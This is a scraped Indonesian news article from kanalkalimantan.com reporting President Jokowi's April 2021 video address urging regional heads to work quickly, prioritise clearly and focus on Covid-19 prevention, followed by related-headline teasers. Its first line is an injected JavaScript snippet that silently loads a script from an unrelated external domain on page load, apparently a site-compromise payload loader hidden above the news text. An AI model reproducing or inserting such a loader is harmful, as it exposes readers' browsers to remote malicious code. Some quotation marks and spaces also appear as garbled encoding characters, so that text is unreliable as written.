(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Presiden Joko Widodo meminta para kepala daerah bekerja dengan cepat dan terarah.Hal ini disampailan Jokowi saat membuka rapat koordinasi kepala daerah seluruh provinsi, kabupaten, dan kota tahun 2021 melalui video conference (Vidco).
Bupati Banjar H Saidi Mansyur dan Wakil Bupati Banjar Said Idrus Al Habsyie mengikuti arahan Presiden Jokowi melalui vidcon, di Mahligai Sultan Adam Martapura, Rabu (14/4/2021).
Presiden RI Joko Widodo memberikan arahan kepada kepala daerah dan wakil kepala daerah hasil Pilkada serentak untuk membuat kebijakan yang fokus dengan skala prioritas yang jelas.
Baca juga: Arsip Lawas 5 SKPD “Pemprov Dati I Kalsel†Segera Dimusnahkan
“Harus bekerja dengan kecepatan tinggi, karena sudah jelas diberi kesempatan 5 tahun, periode yang pertama, kalau saya periode yang kedua 5 tahun. Oleh sebab itu dalam bekerja jangan puas di belakang meja saja. Cek di lapangan, kontrol di lapangan. Inovasi, kecepatan, ketepatan, sangat dibutuhkan sekali. Harus membuat kebijakan yang fokus, dengan skala prioritas yang jelas, sehingga nanti alokasi anggarannya juga lebih fokus, terkonsentrasi,†beber Jokowi.
Jokowi juga menegaskan untuk memprioritaskan pencegahan penyebaran Covid-19 dalam percepatan recovery kesehatan dan recovery ekonomi.
Baca juga:Â Hindari Pemancing Tewas Kesetrum, Polsek Martapura Kota Pasang Spanduk Imbauan di Tungkaran
“Saat ini kita masih fokus dalam mempercepat recovery kesehatan dan recovery ekonomi, tugas bapak, ibu dan Saudara adalah dua-duanya harus dilakukan secara tepat, karena yang namanya Covid-19 ini tidak kelihatan, jangan sampai terlalu mempercepat ekonomi kemudian tidak memperhatikan penyebaran Covid-19, yang terjadi kenaikan kasus Covid-19 meningkat, ekonominya justru menjadi lemah,†tegas Jokowi.
Pencegahan Covid-19 lanjut Presiden, harus menjadi prioritas. Penanganan pasien yang terkena kasus Covid-19 harus dilakukan secara konsisten.
Baca juga:Â Dishub dan Polresta Banjarmasin Uji Rekayasa Jalur Pembukaan Jembatan Alalak 1
Seperti yang diketahui Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro sedang dilaksanakan di berbagai wilayah di Indonesia. Karena dikhawatirkan sesudah memasuki bulan Ramadhan akan sering terjadi kerumunan, seperti kegiatan buka bersama dan mudik lebaran. (kanalkalimantan.com/mckominfobanjar/rls)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.